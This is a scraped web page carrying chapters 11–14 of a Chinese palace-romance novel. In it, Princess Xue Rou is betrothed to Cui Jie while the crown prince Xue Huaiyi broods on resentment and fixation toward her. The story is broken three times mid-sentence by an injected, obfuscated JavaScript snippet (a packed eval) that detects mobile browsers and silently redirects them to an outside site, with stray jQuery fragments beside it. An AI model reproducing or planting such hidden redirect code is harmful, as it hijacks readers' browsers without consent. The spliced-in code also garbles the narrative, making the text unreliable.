薛柔的存在，委实令人如履薄冰，程胜的心声契合宫闱众人，无不巴望着薛柔快快嫁了人搬出宫去，脖子上顶着这颗头方能待得稳当。 笔触掠过纸面的沙沙声悄然变缓了，连执笔人亦恍然未觉。 “娘娘为十妹妹议婚，十妹妹可曾晓得？”可耻地，薛怀义关注起薛柔的动向。 程胜无所不言：“起初不知情，但照这沸沸扬扬的情形，大概过不了今夜就了解了。” 如愿以偿嫁给崔介，她应当会开心得寝不安席吧。薛怀义心想。 缓慢游走的笔尖停滞不前，俨然失了方向——过目不忘的他，竟回忆不起下一个字的形状了，狼狈到不得不承翻书确认——“平康正直，强弗友刚克，夑友柔克；沈潜刚克，高明柔克。”① 是“柔”。 他带着无穷恨意在无数个寂夜描画过无数次的，她的名字。 不宁的种子仅在阴暗处萌芽，光明之下，他镇定自若，合起书本循着记忆笔走龙蛇，补上缺少的“柔”字。 “照你说的，而今宫内宫外议论纷纷，十妹妹当早有耳闻了。”薛怀义又说。 程胜答：“殿下专心致志用功，自然两耳不闻窗外事。没多会前，九皇子携十公主雀跃出了东门，到民间玩乐了。” 记忆中，她鲜少出宫，一年到头只管在内宫称霸王。 …… 薛怀义闭了闭眼，再度睁眼，眼下一片清明。他挥手屏退程胜，心力全部倾注于一横一竖、一撇一捺上。 11. 罪孽 次日，薛柔又听着了关于崔介的一些消息，不过却是从皇后口中而来。 这天傍晚，许嬷嬷下厨煎了酥饼，刚巧薛柔正午那顿食欲不佳，没吃多少，及这个点，肚子里的食消化殆尽，便先拣来最小的一块填补填补，更多的留待晚膳。 刚咬开来，皇后就有话说：“小十，你也与崔二郎打过几次照面了，现在你对他的印象可有改观？” 薛柔囫囵吞下口内食物，不答反问：“乍乍的，母后问这个做什么？” 嘴上闪烁其词，想法却诚实，脑子里立即涌现出崔介那副美玉般的容颜来。容貌俊朗，才华横溢，品行周正……怎的如此碰巧，样样戳中她的心窝子呢？ 她吃得马虎，唇角沾了些许碎末，皇后看在眼中，无奈叹息，拿手帕细细替她擦拭干净；见她一脸纯真，不忍苛责，言归正传：“你不必瞒哄我，你怎么想的，我有成算。” 闻口风不大对劲，薛柔追问：“成算？母后有哪门子成算？” 皇后笑吟吟道：“昨儿我和余夫人提了，做成你跟崔二郎的婚事。今儿崔家回信，崔二郎心里愿意。” 霎时间，头顶响彻惊雷，把薛柔劈得外焦里嫩，一张容长脸上红白交替，好不精彩。 “我与小崔大人……的婚事？”薛柔万分怀疑自己耳朵出了问题。和他满打满算见过三面，彼此讲过的话少同样得可怜，怎么就说定亲事了？ 匆匆在脑子里捋了遍，她依然无法置信，砰的一下丢弃缺了一角的酥饼。许嬷嬷眼疾手快，用碟子托底。 “母后玩笑的吧？”酥饼上滚着鲜油，她才碰过，又没洗手，右手上糊了一层油光，滑腻滑腻的，而这层油光因她突然抓住皇后胳膊的动作，带到了皇后的暗青色袖口上；若对着窗子定睛观察，会很容易发现平坦的衣料俨然亮起一个手印来，“如是草率的决定，崔大人能同意？崔家也没意见？” 她看好崔介是实情，一切来得猝不及防也是实情。老实说，她有点接受不了。 皇后不嫌弃袖子上黏糊糊的印迹，独独纳罕她的反应：“你三番两次想法设法和崔二郎套近乎，乃至黔驴技穷，现今人家心甘情愿待你，你倒横生顾虑了。” 薛柔扁着嘴，半晌哑口无言，光闻皇后娓娓念叨：“薛、崔两家结亲，是我和你父皇早有的考量。将你托付给崔二郎，即便日后在九泉之下，我和你父皇也可安心了。” 纵览京城青年才俊，崔介数一数二，此等良人，皇后审视已久。时逢崔介争气，连中三元，荣登金榜。算得时机成熟，皇后郑重其事向景帝提出意欲招之的打算，经一番深思熟虑，景帝允准。 将将瓜熟蒂落，未料半路杀出个程咬金来截胡。为母则刚，无论如何，纵使得罪太后，皇后决不退缩。 那崔介注定是要成为小十的驸马的。 薛柔语塞，松开皇后的衣袖，眼帘低垂，若有所思。“那……婚期也定下了？” 看她的态度不再激进，皇后放了心，使唤小宫女打水过来，捏她进水里净手：“还不曾。我是考虑，离你及笄尚有个把月，咱们两家先通个气，等正式办了及笄宴，再择吉日定亲也不晚。” 薛柔愁眉不展，未再言语。 说起崔家，崔介孝顺，连日来衣不解带守在余夫人榻前端水送饭，加倍照料下，余夫人一日比一日见好，到第三日，已经行动自如，不再需要人时时刻刻侯着了。 怕病情加重，许诺与薛柔定亲之事，崔氏父子一直没向余夫人透露，而余夫人却心心念念这茬儿，精气神养回来以后急不可耐抓住崔介问东问西：“十公主对你有意，你可知？” 崔介只是人淡如菊，绝非迟钝呆傻，过往同样薛柔见过的三面里，她频频朝他的方向扭头，这意味着什么，他当然明了。 崔介颔首低眉：“儿子听说了。” 不止听说，且约定了终身。 余夫人盯得紧紧的：“那你是个什么意思？” 在余夫人看来，今朝的薛柔不亚于当年大闹天宫的孙猴子。把这么个惹祸精抬进崔家，以后必然不得安生。 余夫人全心期盼崔介不情愿，固然作用不大，该成的毁不了，但最起码验证了儿子和她一条心，日后不至于帮着薛柔骑自己脖子上头作威作福。 崔介淡淡的，犹似在说一件不起眼的小事：“儿子遵从圣意，愿尚十公主。” 始料未及的答案。余夫人怔怔然许久，忽而推了把崔介：“你读书读呆了不成！那十公主何其张狂，跟她绑在一起，整个崔家永无宁日了！” 后觉失态，自行缓缓神，口吻尽量放平和：“明夷，你果真甘愿迎娶十公主？” 崔介神色恬淡，口吻却斩钉截铁：“是，儿子心甘情愿。” 余夫人顿觉气逆，连素日引以为傲的儿子也不想看见，摆摆手说：“我头有些痛，想躺一躺。你近日照顾我辛苦，也去休息吧。” 崔介问用不用请郎中过来，余夫人果断回绝，侧身卧倒，呼吸渐渐绵长，崔介没辙，轻步退出屋子。 翌日，崔介便销了假，穿戴齐整前去上朝。景帝野心勃勃，欲拿下西南一带，故而近期议事总围绕“兴兵”“南下”等词汇展开，慷慨陈词，气吞山河。崔介一介文官，带兵打仗上算得门外汉，全场沉静。 朝毕，景帝指名道姓留下他，一改适才之激昂奋进，平和道：“朕闻你母亲抱恙，可有起色了？” 崔介坦言相告。 余夫人因何而病，景帝略知一二，倒也不恼，毕竟自己的女儿着实不逊，崔家书香门第，心怀怨念情有可原。 念及此，景帝遣龚福亲去崔府探望余夫人，聊表关心，崔介作揖谢恩，景帝含笑道：“还客气什么，很快便是一家人了。” 两人闲闲聊了一会，景帝才让崔介回翰林院。 彼时，薛怀义回东宫换上常服，和程胜分抱两摞厚厚的书本－－足足耗费一月抄录完成的十遍《尚书》，默然往太极宫呈与景帝御览。 书本沉甸甸的，东宫到太极宫有段路，程胜略微吃不消，脑门直冒汗。反观薛怀义，步履轻松，面容清爽，竟比空着手走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799951|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路更轻松几分。程胜佩服得五体投地，忍不住打破沉寂：“这书大可让奴才们搬，殿下何苦亲自受累呢？” “做了错事，亲力亲为方有诚意。”薛怀义气息平稳，面不改色。 看他任劳任怨的模样，程胜不觉泛起一缕心酸，打抱不平的念头终究压了下去。妄议天子，属重罪，一个不慎，项上人头难保。 一步一步，登上万丈石阶，巍峨宫殿映入眼帘——太极宫到了。 其时，两扇朱红大门缓缓开启，一玉面郎君扬然走出。 薛怀义微微眯眼，此人他认得，新晋宠臣兼将与薛柔共度余生的驸马，崔介。 日日在朝碰面，崔介熟知薛怀义，敛衽见礼：“微臣参见太子殿下。” 尾音之后，是漫长的静谧，时间好似凝固了。 崔介不敢轻慢，保持姿势，哪怕被晾到脊梁发僵、胳膊发酸，仍然端正到完美无瑕。 崔介记起之前在御花园，相隔九曲长廊的，短暂的对视，当时恍觉对方有不善之意，未尝往别处思忖，如今拿掉那道廊芜，面对面，他顿时分明：不善确实存在，且随着时间的推移加深了，发展成了敌意。 崔介自查平日的待人接物并无欠妥之处，与同僚相处也甚融洽，而太子待己的敌意源自何处，百思不得其解。 不仅崔介困惑，近身伺候了太子四五年之久的程胜亦云里雾里。太子一贯温柔敦厚、彬彬有礼，莫说崔大人这类朝廷命官，纵然宫中最低下的奴才，也不曾为难过。 “殿下，崔大人向您见礼呢……”纵不好一直冷着，程胜小声进言。 “崔大人平身吧。”薛怀义湾着耐人寻味的笑，发话。 崔介挺直身板。崔、薛两人个头大差不差，因此，崔介现在平视着薛怀义。 “据传，崔大人与十妹妹不日有喜，可确有其事？”薛怀义一时来意，将怀里的书本交由程胜一人托着。为什么？或许为了在臣子面前维持太子应有的体面吧。 崔介道：“并非传言。微臣与十殿下之间是父母之命，所以，并非传言。” 崔介自诩淡泊，可一个淡泊之人怎会咬文嚼字，甚至为一两个略带瑕疵的字眼而不厌其烦地纠正呢？崔介自己也没头绪。 父母之命……是啊，家世相当，容貌相当，符合东床快婿的标准，更投合她的心意。莫名地，薛怀义的呼吸乱了，心也跟着乱了。但他从不允许自己有失态的时候，尤其对着崔介的面。 “如此，”迅速平复心绪，使其恢复死水般的寂寥，薛怀义最是擅长，“那孤便提前祝贺崔大人了。” 寻常贺新婚，必离不开“百年好合”“琴瑟和鸣”之类的语汇，但，流动的心潮不容薛怀义表此祝贺。 她罪大恶极，诸如世间种种象征美满幸福的字眼，通通不应该用在她身上，更不应该作为他对她日后的愿景。 崔介谦逊道：“微臣谢太子殿下好意。” 春风拂过，卷起那些墨迹遍布的书页，哗哗作响。 薛怀义但笑不语，举步踏入大殿。 12. 及笄 及笄日近在眼前，坤宁宫这程子忙上忙下，势必给十公主举办一场风风光光的成人宴。 至于薛柔本人，也腾不出空子，熟悉宴会当日流程、试穿新衣……简直应接不暇，连崔介也暂时放下了，专心钻在坤宁宫准备不久以后的大日子。 处理人情世故上，薛怀义素来滴水不漏，坚持每日来坤宁宫向皇后请安，风雨无阻。 譬如今日，薛柔正式试穿最后一版礼服的日子，他又来扫兴了。 “一天天的，烦死个人！” 薛柔烦透了薛怀义，华美的衣服也跟着遭殃，被她从身上扒下来，丢与三喜，她则重整衣冠，汹汹去往皇后寝殿，找那没眼色的东西刻薄一番。 薛柔到之际，薛怀义刚问完安出来，两人正面相逢。 紧临屋门，不少耳目，以防惊扰皇后，薛柔假意客气道：“太子殿下随我来，我有话讲。” 她对他的厌恶，会因为帝后而加以修饰，薛怀义司空见惯，不以为奇，跟从她的步伐，目光黏着她窈娜的背影——突然一阵恍惚： 当年自己亦步亦趋的矮矮的、圆圆的背影，长高了，苗条了，已然出落成婀娜之姿。 她长大了，懂得了情爱，择定了如意郎君，很快，或许一年，或许更快，她便要开启人生新篇章了。 宫里的每张嘴都在说，崔家已经开始着手缝制喜服了，她和崔介的喜服。 喜服重工，耗时耗力，应当提前预备。 半年？ 也许用不了半年，那火红的嫁衣就会由专人送入坤宁宫，捧上她的妆台，披上她的身，最后同另一身婚服纠缠难分。 回廊下这段路异乎寻常的长，仿佛看不到尽头，令薛怀义迫不得已将眼前窈窕多姿的影子看得更深，一直深入骨血。 她罪孽深重，几乎毁了他的人生，却能顺风顺水，荣华富贵、美满姻缘样样唾手可得。 凭什么？ 她薛柔何德何能！ 漫长到煎熬的路，终于通向尽头。 薛柔站定，示意三喜去一旁守着人，随即，和善的眉目一去不复返，光剩下了厌恶，是薛怀义所熟悉的：“日日上我母后跟前抛头露面，你想干什么？” 薛怀义说：“照惯例请安，做好太子的分内之事，仅此而已。” “仅此而已吗？”薛柔冷笑，显然不信，“薛怀义，你若为那次在太庙发生的一切而记恨我，大可不必用这种方式来恶心我，明明－－” 她逼得近了些，落在不知情的人眼中，单会认为他们兄妹在和平谈话，“你也恨我入骨，日日来这儿晃荡，你又痛快到哪里去呢？不惜伤敌一千，自损八百……薛怀义，你真是贱骨头。” 薛怀义轻轻一笑：“妹妹不想见我，我倒是很想见妹妹呢。” 亲眼见证她拥抱幸福前的期许与欢愉，无异于在他伤口上撒盐，但他不退却，因为撕心裂肺的痛楚会带给他无边清醒与坚定——亲手将她梦寐以求的事物断送，毁灭，应该很有趣。 这一刹那，薛柔从他纯良无害的笑容里领略到丝丝寒意。 不可能，一定是气昏了头牵累眼花了。 她眨一眨眼，重新看回去，见他如旧笑面和煦，和曾经每每隐忍不发时的表现别无二致。 微微悬起的心得以安放，换她绽放自负的笑颜：“我警告过你，是你自己不识趣，上赶着找罪受，真是贱到骨子里了，跟你那个处心积虑爬龙床的娘一模一样。” 薛怀义出生在一个雪夜，他的表字应运而生：负霜。 他的母亲斗大的字不识一个，只是由茫茫苍白联想到了秋冬之交梅枝上的白霜，冰凉而扎手，使得身为梅园剪枝婢女的他的母亲，非常难捱。 “负霜“最初的含义，当薛怀义十岁那年再问，陡然变味了。 一样的覆雪夜，他的母亲卧病不起，脸上的肉都瘦干了，就是用那只枯死的手抹去了他眼尾的泪水，耗尽毕生气力说：“殿下要负霜前行，一直走到底……” 他的母亲殒没在那个午夜。 第二天，皇宫来人接他回宫，从此“负霜”埋藏，唯剩于薛柔手下苟延残喘的薛怀义。 其实，在景帝接他回宫前，他是没有“怀义”这个名字的，母亲有时唤他熠儿，有时唤他负霜。 “妹妹骂我，我全盘接受，我娘却是无辜的。”薛怀义不笑了。 他的母亲心向那抹孤魂，连他体内流淌的血都和那岑姓野鬼息息相关。 归根结底，薛怀义不应唤薛怀义，而应是岑熠。 此境之下，薛柔所言母亲处心积虑爬龙床之事，简直是无稽之谈！ 他的母亲，自死都干干净净。 “你娘使下三滥手段生了你，你又在她临终前频频求见父皇，从而让父皇记起了你们母子，把你捞了回来，安到我母后膝下，忝得太子之位。”薛柔目眦欲裂，“你们无耻至此，还喊冤？呵，令人作呕！” 愤怒占上风，几近冲毁理智，她斥骂薛怀义的声音倏然拔高，骇得三喜猛回头观望。 “……你给我听好了，从今以后，不许踏足坤宁宫半步，否则，你这个太子，我必定要你做不成。” 薛柔也是一时气恼失了智，嘴边有什么狠话就往出吐什么，试图给他个下马威，事实上她心知肚明，太子废立事关国本，哪里是她说了算的。 薛怀义悉数看穿，平静道：“太子自当每日向皇后请安，此乃老祖宗规定下的礼法，妹妹与我，皆更改不得。” “好啊，你厉害了，拿祖宗压我。”薛柔怒极反笑，“薛怀义，咱们走着瞧！” 言下，叫上三喜洋洋洒洒而去。 薛怀义驻足久望，直至前方空无人影，柔和的面庞风云变幻，后有阴云密布，未及电闪雷鸣，程胜一路寻来，得见的依然是熟知的那个宽宏温润的太子殿下。 一晃眼，及笄日来临，众臣俱携家带口入宫恭贺景帝最宝贝的小女儿。 崔家除开崔老夫人年事高腿脚不灵便外，举家到场。 以往众人的目光且向崔家二房聚焦，而今崔介尚了十公主，崔家二房可谓万众瞩目。 偏生二房平时最低调，兼而崔寿余夫人夫妻俩对薛柔颇有微词，现下此等风头，十足把他们赧得无颜见人。 余夫人一道催促快走，生恐平常走动得勤谨的夫人们围上来问东问西，崔寿依着她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799952|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夫妇俩越走越快，堪堪将崔介落在后头一大截。 崔介倒坦坦荡荡，遇着同僚该打招呼打招呼。 “崔大人。” 薛通迎面而来。 小妹及笄，薛通这个做哥哥的百般上心，提前两日告假，回宫帮忙。 崔介、薛通一文一武，日常虽无过多交集，但此二人俱少年得志，互相也聆听过对方的成就，彼此赞许有加。 加之即将亲上加亲，当然开怀畅谈起来。 “薛将军。” 崔介不唤九殿下，偏唤薛将军，是为肯定他脱离于皇室的才干。 薛通果然受用，当即邀崔介入后|庭弈棋，顺带将薛柔的好恶，事无巨细地告知，再以哥哥的身份，不厌其烦叮嘱崔介务必用心对待薛柔。 崔介一件一件熟记于心。 有人欢喜有人愁。 自截胡崔介失败后，舒婕妤又去求了太后几次。 太后不咸不淡的，单说崔家又不止崔介一个儿郎，她冷眼瞧着崔家长孙崔碌，撇开资质平平不谈，身份、家底、相貌均算上筹。 舒婕妤气得头晕目眩，却不敢质疑，以“再看看，不着急”支吾过去，灰溜溜回住处，再没登过慈宁宫的大门。 舒婕妤气愤难当，因忌惮太后，不敢造次，一腔怨恨便转移到了钟秀宫当差的奴才头上，隔三差五怒骂，严重起来还要动手打人。 母亲这般不理智，薛嘉也很头疼，常常规劝：“黄了就黄了，我又不是没人要，今儿没了崔介，明儿更有王介李介。母亲冷静些，仔细气坏身体。” 坦白说，这次的挫败于薛嘉而言，没有不甘，没有难过，反而抱有侥幸： 薛柔崔介成了，薛柔肯定得搬出宫，届时宫里便无第二个人压她一头，那因顾忌薛柔得宠而不得已敬她、让她的太子哥哥，从此也无需违背意愿，尽可喜他所喜，厌他所厌。 两全其美，一箭双雕。 舒婕妤直跺脚：“纵观京城，还有哪家能与崔家媲美的！这下子可好了，不指望崔家，咱们母女真跌到那些小人嘴里去了……！” 薛嘉脱口而出：“还有太子哥哥啊！” 末了才觉欠妥，解释道：“我的意思是，只要咱们好好对待太子哥哥，来日太子哥哥断然不会亏待咱们的，母亲不必忧心忡忡……” 舒婕妤静下心细思量，确实有理，心下开解不少，遂叮咛薛嘉以后多在太子面前露露脸，表表关怀。 薛嘉乐意之至，赶上薛柔及笄宴这日，其他的不管，一味寻觅太子。 纵目找了一大圈，总算在一条抄手游廊的末端找着了人。 “太子……”话到一半，却见一侧的月洞门下穿出一抹艳色，是薛柔，她与三喜有问有答： “你果真瞅见小崔大人和九哥哥在厅里下棋？” “没错，奴婢瞧得真真的。” 又见薛柔拍着三喜的肩膀，点头笑道：“好丫头，回头我那妆奁里的首饰，任你挑拣。” 然后，主奴二人越向月洞门那头，渐渐不可见了。 薛嘉已然收起探究之意，而廊下的薛怀义始终未动弹，凝视着那道四下空无一物的月洞门。 13. 秘辛 兴冲冲赶去前厅，果然看见薛通、崔介二人对弈甚欢。 薛柔侧脸对三喜比一个悄声的手势，掂起裙边，擦着墙根轻悄入内。 二人下棋下得入神，未曾发觉，恰好给了她绕到薛通身后伸手遮他眼的时机。 “猜猜我是谁。”她故意压着嗓子说。 崔介在对面，本该轮到他走棋，他默默停手，泛粉的指尖轻盈捏着一颗黑子，衬得指际越加白皙细腻。 恍觉关注点歪了，薛柔悻悻讪讪挪开眼，回归主题，却见薛通一动不动，一声不吭，忙催促：“别走神，快猜我的身份。” 崔介为端方君子，不屑趁人之危，漫不经心捻转棋子，耐心等待那兄妹俩分出黑白。 薛柔不由自主又向崔介投去打量。 他嘴角的弧度变了，扬起来了，他笑了！ 一时间，“崔介笑起来真好看”的念头在脑子里乱窜，搅得心神不宁，完全忽略了薛通唤过一声“小十”，仍死捂着人家的双目。 崔介感觉到了来自对侧的热切而呆痴的注目，耳尖慢慢晕红了，眼光也难以定在一处，四面八方地飘忽起来，唯独缺少正上方——薛柔在那。 他们尚未礼成，同处一个屋檐下已然有失分寸，再直直对视更显露骨，不合礼数。 不可。 于是乎，崔介恪守男女之防的举动映在薛柔眼下，明晃晃成了不近人情。 自觉丧失颜面，她心里十分不爽，消极的心情投射到肢体上，手劲越来越大，真真儿坑惨了薛通，难受得紧忙扒拉她的手。 被抓疼了，薛柔顿时炸毛，眉头紧锁道：“九哥哥你不配合我便罢了，怎的还抓我呢？” 薛通按着额角嘶嘶吸气：“我再无动于衷，我这双眼都要给你按瞎了。” 三喜偷偷扯扯她的袖子，小声说：“九殿下喊了您几次，您自己看小崔大人入迷，一点反应都没有，使到胳膊的力气还愈来愈厉害，九殿下这才拉您。” “……我不管，我没听见，就是你狡辩。” 面对崔介，薛柔不肯丢面子，索性耍无赖颠倒黑白，反正薛通会让着她。 薛通真就拿她束手无策，自认倒霉，揭过这篇，回头问她：“你这寿星跑这来做什么？” 薛柔头头是道：“外头乱哄哄的，人挤着人气味也难闻，我受不了，想着找个清净的地儿喘喘气，便转到此处了，谁知你们也在。” 她不是谎话连篇的人，怎奈直奔崔介而来的原因太过粗鲁，又不符合她公主之尊的作风，只好含糊搪塞。 薛通的妹妹，薛通了解，十成十是打听到崔介身在此地，直冲而来，因为好面子，便扯谎应对。 薛通仁慈，非但不戳穿，且搭台阶给她行方便：“你既来了，那就留下观棋吧，顺带做个见证，看我今日能否赢过崔大人。” 崔介的棋艺出自崔老太爷之手，精湛巧妙，偌大翰林院没一个敌过他的。 薛通只粗略学过些时，从他手底下占便宜，恐怕是异想天开。 “九哥哥别怨我不站你这边，”薛柔瞟一眼崔介，他终于按下闲置多时的棋子，“这盘棋，你够呛。” 果如她预料，棋局至办，胜负已分，黑子以压倒性优势取胜。 薛通摊手说笑：“你这小妮子，还没登堂入室，胳膊肘就往外拐了。” 薛柔坐着小杌子，挨薛通近，见状，忙伸手去掐他胳膊上的肉，眼皮子一眨一眨，无声比口型威胁：闭嘴。 薛通惯她，吃了哑巴亏，笑着拿开她的手腕，及欲扭头跟崔介说再切磋两盘，但见他离座向自己拱手称：“九殿下，十殿下，微臣出来已久，恐家父家母多心烦忧，恕微臣先行一步。” 兄妹俩谁都没阻拦，眼看着崔介出去。 薛柔迟钝埋怨：“哥哥怎么不拦一拦，就任他轻飘飘走了。” 崔介一走，那没什么好忌讳的了，薛通畅所欲言：“呦，刚才不是说得有理有据，是闲逛来的吗？人才没在一小会，就藏不住马脚了？我都替你臊得慌。” 本碍着崔介方费力装出淑女模样，他不在场，薛柔原形毕露，跳将起来，围着薛通绕圈捶打：“我臊不臊的，暂且不议论，哥哥还是先担心担心你自己吧！” 薛通身强力壮，由她出气。 单方面闹了一阵，那股子窘迫劲儿消散，薛柔扭着酸困的手腕，和薛通搭话：“崔二郎可真难缠，软硬不吃。既然如此，他干嘛一口答应这门婚事？” 母后说过，他父母全不看好，特别是他母亲余夫人，哭天抢地的，一口气没顶上来晕厥过去，偏他，二话没有，痛痛快快点了头。 看他适才躲闪之态，前几次的碰面又不冷不热，大约是对她无意……？ 那他何必同意，她又不是非他不可，更不能按着他的脖子和自己成亲。 真是个不着调的人。 薛通半奚落半认真说：“崔大人进退有度，可不像妹妹，巴巴追来，直勾勾盯着人心花怒放。” “我正经问哥哥，哥哥倒油嘴滑舌的。”薛柔嘴巴一撇，郁闷道。 薛通摇头低笑道：“自古传下来的习俗，有婚约在身的男女正式成亲前不能见面的，崔大人疏远你，是为了你们两个的名声考虑。” 薛柔顶烦各种礼节，即便学也三天打鱼两天晒网，没个正形，今日之声名狼藉便是从几岁上埋下的种子，婚俗什么的自然一概不知。 当下由薛通说开，心里的结略有松解之势，半信半疑道：“竟有这个说法？哥哥莫不是编瞎话逗我乐子呢吧？” 薛通哑然失笑：“你当初少开次小差、躲会懒，必不会疑我了。倘若不信，你可以去跟娘娘求证，看看我有没有哄你玩。” 薛柔是愿意相信的，立即眉开眼笑，不再沉溺，挽着薛通一块上交泰殿去。 同一时间，薛嘉薛怀义齐肩并行，两相缄默，四周仅有鞋底摩擦路面的窸窸窣窣声。 此地偏僻，加之宴席设在前殿，人们尽数簇拥在那，故此一道出来，只撞见过一二宫人。 四下安静，薛嘉的心可静不下来，反反复复揣摩刚刚撞破的画面。 她从未见过太子哥哥会对谁凝望成那样——深沉的，晦涩的。 根本不是对待妹妹的，处处充斥着不可告人的贪恋。 太子哥哥对薛柔…… 薛嘉不敢细想，晃晃脑袋，斜挑着目光，窥探身旁一言未发的人。 “八妹妹可有话说？” 对方冷不丁望回来，唬得薛嘉心尖一颤，以微笑掩饰堂皇：“只是想问一下，太子哥哥的膝盖还疼不疼了。” 薛怀义低眸，风一般掠过荡动的衣摆，唇线浅浅一挑：“无事了，八妹妹有心了。” 薛嘉心猿意马，点点头没作声。 他们之间相处，向日以薛嘉主动找话题为主，倘若薛嘉无言，那么薛怀义便顺其自然，哪怕冷场亦不觉尴尬。 薛嘉纠结不定，惶恐不安，第一次嫌路为何修得这么长，一步一步看不到边际。 艰难忍耐着，视野渐渐开阔，人声交织袭来。 “八殿下。” 侧面多了一束素影，薛嘉侧目，如临救星，忙挽住对方的手，尽显亲昵之态：“真有好些日子没见着斓妹妹了。” 这位斓妹妹，乃崔家三房的姑娘，单唤一“斓”字，也就是前段时间薛柔和三喜所谈论的崔介之堂妹，按年岁在整个崔家孙子辈的往下排，是最小的。 崔斓刚看着太子也在，惶然见礼。 薛怀义温和一笑，颔首示意，走了。 薛嘉忍不住关注薛怀义的去向，展眼追随，却见薛柔、薛通说说笑笑从对面而来，与薛怀义相逢一处；薛柔登时变色，嘴角压低，嘴脸既嚣张且丑陋；更令她刺挠的，则是不论薛柔如何甩脸子，他都笑意不减，无底线地包容她。 今日之前，薛嘉不认为他待自己同薛柔有何不同，目睹他沉沉凝望薛柔的情景后，薛嘉豁然觉察，对她和薛柔，他面上的笑是不一样的——他把薛柔当女子看，把她当妹妹看。 “八殿下，八殿下？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799953|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 柔缓的声音拉薛嘉回神。 “怎么了？” 薛嘉停止自寻不快，专注自己。 崔斓指指陆续进殿的人｜流：“快到献歌舞的点了，咱们也进去吧。” 薛嘉应声，随大流入内安坐。 载歌载舞，酒过三巡，薛柔闷不住，借口更衣，踮脚悄悄溜走，一路摸到桐花台，此处蓄着一片青湖，湖面上浮着清荷，湖畔停有小舟，常有人来此泛舟观澜赏荷。 正值黄昏，红日西斜，晚霞皴红了大半边天，倒映在水面，五光十色，美不胜收。 薛柔张开臂膀，迎着湖面深吸一口清气，有感而发：“还是这地方舒服，一星儿的人味都闻不到。” 她挺矛盾的：喜欢热闹，却厌恶人多不好闻，口口声声夸赞杳无人烟的去处好，可若真去僻静之地，又待不了多时。 “三喜，你不是会划船吗？”薛柔没在商量，话赶着话又说：“走，你给我撑船，我也要去那舟上体会体会闲趣。” 三喜不乏担心，迟疑道：“咱们出来够久了，再耽搁，大家该找了。” 薛柔迈着不容商议的步履一径至那叶靠岸的小舟前，一脚踩上去：“那么多人，哪里顾得上盯着我去哪了。快过来，过会天黑了不好划。” 三喜无奈，乖乖跟去，两手操船桨。 “殿下坐好，别乱动，奴婢怕不稳把您晃水里。” 听得后头传来应答声，方卖力转起船桨，操纵小舟离岸。 她们离席已久，而念及平素薛柔爱折腾的性子，皇后隐隐不安，叫许嬷嬷近身吩咐：“你去各处寻寻小十，赶紧带她回来。” 上首的动作，薛怀义尽收眼底。 根据皇后愁眉锁眼的神色，以及薛柔空了良久的位子，他有了推论。 低声交代程胜若是有人问起，就说他吃多了酒，去外边醒酒，很快就回；继而不起眼地退走。 “嬷嬷。” 许嬷嬷刹住急切的脚步，见是太子，忙有礼了。 “孤与嬷嬷一起寻十妹妹吧。”未及许嬷嬷错愕，薛怀义立道：“天色将晚，十妹妹孤身在外不安全，速速找回十妹妹要紧。” 此言在理，许嬷嬷未尝推诿，福身道过谢，兵分两路寻人。 薛怀义没费周折，依着对薛柔的了解，直投桐花台——席间她吃了酒，脸颊现出一层薄红，八成不胜酒力；要醒酒，桐花台楼高风大，底下又湾着湖，最合适。 三喜划累了，心里正暗暗叫苦，忽见前边闪出一个人，定睛一瞅，居然是太子，赶忙出声通知薛柔：“不好了殿下，太子殿下也过来了！” 无人回应。 三喜不信邪，接连提示几回，均鸦雀无声。 越划越近，情知逃不掉，三喜慢慢停船靠岸。 “娘娘看不见十妹妹，心里焦急，孤于心不忍，特寻妹妹回去替娘娘解忧。”薛怀义正义凛然道，“十妹妹可是在舟里？” 三喜叫他唬得一愣一愣的，憨憨点头：“殿下可能醉酒睡着了……” 薛怀义款款登舟，转头微微一笑：“不妨碍，大不过背妹妹一程就是。” 三喜亲眼见识过薛柔欺辱他的样子，那么狠辣，那么绝情，怎么也料想不到他非但不记仇，而且愿意委屈太子之尊，背薛柔回。 三喜的脑袋里犹如装着一团浆糊，只言片语拿不出口，只管瞠目站在岸边。 三喜搞不明白的，薛怀义亦糊里糊涂。 她何其可恨，何其恶毒，就让她死睡过头，惊破满殿宁和，弄得沸沸扬扬，从而丢尽皇家颜面，像上次一样被责罚，岂不大快人心？ 为什么要横插一脚，积极地来找她，替她收拾烂摊子？ 为什么？ …… 她的软肋是他，一看见他便由里到外暴躁，所以上次她才威胁不准他踏足坤宁宫。 越令她不自在的事，他越要做，这是当下他唯一能报复她的办法。 抱着恨意与快意，薛怀义将腰一猫，深入扁舟。 14. 大梦 